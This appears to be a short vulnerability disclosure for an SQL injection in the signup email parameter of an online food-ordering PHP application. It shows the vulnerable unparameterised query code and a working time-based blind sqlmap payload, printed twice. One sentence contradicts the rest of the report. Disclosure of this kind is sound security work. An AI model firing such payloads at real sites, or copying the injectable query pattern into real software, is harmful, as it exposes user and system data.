SQL injection vulnerability exists in email parameter of signup module of admin_class.php file of online food ordering system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
function signup(){
    extract($_POST);
    $password = password_hash($password, PASSWORD_DEFAULT);
    $data = " first_name = '$first_name' ";
    $data .= ", last_name = '$last_name' ";
    $data .= ", mobile = '$mobile' ";
    $data .= ", address = '$address' ";
    $data .= ", email = '$email' ";
    $data .= ", password = '$password' ";
    $chk = $this->db->query("SELECT * FROM user_info where email = '$email' ")->num_rows;
    if($chk > 0){
        return 2;
        exit;
    }
        $save = $this->db->query("INSERT INTO user_info set ".$data);
    if($save){
        $login = $this->login2();
        return 1;
    }
}
```

```
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 130 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: address=3137 Laguna Street&email=-1' OR 3 AND (SELECT 2067 FROM (SELECT(SLEEP(5)))KNnc)-- OhKo21=6 AND 000889=000889 -- &first_name=RDFYjolf&last_name=RDFYjolf&mobile=987-65-4329&password=g00dPa$$w0rD
---
```

Sqlmap attack：

“

Parameter: #1* ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: address=3137 Laguna Street&email=-1' OR 3 AND (SELECT 2067 FROM (SELECT(SLEEP(5)))KNnc)-- OhKo21=6 AND 000889=000889 -- &first_name=RDFYjolf&last_name=RDFYjolf&mobile=987-65-4329&password=g00dPa$$w0rD

”

Source Download：

https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html